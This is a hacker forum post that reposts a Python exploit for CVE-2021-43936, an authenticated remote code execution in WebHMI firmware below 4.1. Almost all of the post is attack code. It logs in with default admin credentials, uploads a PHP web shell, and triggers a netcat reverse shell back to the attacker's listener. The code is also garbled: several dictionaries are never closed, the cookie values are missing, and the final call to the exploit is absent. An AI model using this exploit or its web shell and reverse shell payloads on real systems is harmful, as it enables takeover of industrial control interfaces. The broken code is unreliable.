Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

WebHMI 4.0 - Remote Code Execution (RCE) (Authenticated)


Recommended Posts

# Exploit Title: WebHMI 4.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 12/12/2021
# Exploit Author: Jeremiasz Pluta
# Vendor Homepage: https://webhmi.com.ua/en/
# Version: WebHMI Firmware < 4.1
# CVE: CVE-2021-43936
# Tested on: WebHMI Firmware 4.0.7475

import sys
import re
import argparse
import pyfiglet
import requests
import time
import subprocess

banner = pyfiglet.figlet_format("CVE-2021-43936")
print('Exploit for CVE-2021-43936')
print('For: WebHMI Firmware < 4.1')

login = "admin" #CHANGE ME IF NEEDED
password = "admin" #CHANGE ME IF NEEDED

class Exploit:

	def __init__(self, target_ip, target_port, localhost, localport):
		self.target_ip = target_ip
		self.target_port = target_port
		self.localhost = localhost
		self.localport = localport

	def exploitation(self):
		payload = """<?php system($_GET['cmd']); ?>"""
		payload2 = """rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+""" + localhost + """+""" + localport + """+>/tmp/f"""

		headers_login = {
		'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
		'Accept': 'application/json, text/javascript, */*; q=0.01',
		'Accept-Language': 'en-US,en;q=0.5',
		'Accept-Encoding': 'gzip, deflate',
		'Content-Type': 'application/json',
		'X-WH-LOGIN': login,
		'X-WH-PASSWORD': password,
		'X-Requested-With': 'XMLHttpRequest',
		'Connection': 'close',
		'Content-Length': '0'

		url = 'http://' + target_ip + ':' + target_port 
		r = requests.Session()

		print('[*] Resolving URL...')
		r1 = r.get(url)

		print('[*] Trying to log in...')
		r2 = r.post(url + '/api/signin', headers=headers_login, allow_redirects=True)

		print('[*] Login redirection...')
		login_cookies = {
		r3 = r.post(url + '/login.php?sid=' + r2.headers['X-WH-SESSION-ID'] + '&uid=1',cookies=login_cookies)

		print('[*] Uploading cmd.php file...')
		files = {
		'file': ('cmd.php', payload, 'application/x-php')
		r4 = r.post(url + '/files.php', files=files, cookies=login_cookies)

		print('[*] Setting up netcat listener...')
		listener = subprocess.Popen(["nc", "-nvlp", self.localport])

		print('[*] Executing reverse shell...')
		print('[*] Watchout for shell! :)')
		r5 = r.get(url + '/uploads/files/cmd.php?cmd=' + payload2, cookies=login_cookies)

		if (r5.status_code == 200):
			print('[*] Got shell!')
			while True:
			print('[-] Something went wrong!')

def get_args():
	parser = argparse.ArgumentParser(description='WebHMI Firmware <4.1 Unrestricted File Upload + Code Execution (Authenticated)')
	parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')
	parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')
	parser.add_argument('-L', '--listener-ip', dest="localhost", required=True, action='store', help='Local listening IP')
	parser.add_argument('-P', '--localport', dest="localport", required=True, action='store', help='Local listening port')
	args = parser.parse_args()
	return args

args = get_args()
target_ip = args.url
target_port = args.target_port
localhost = args.localhost
localport = args.localport

exp = Exploit(target_ip, target_port, localhost, localport)
Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...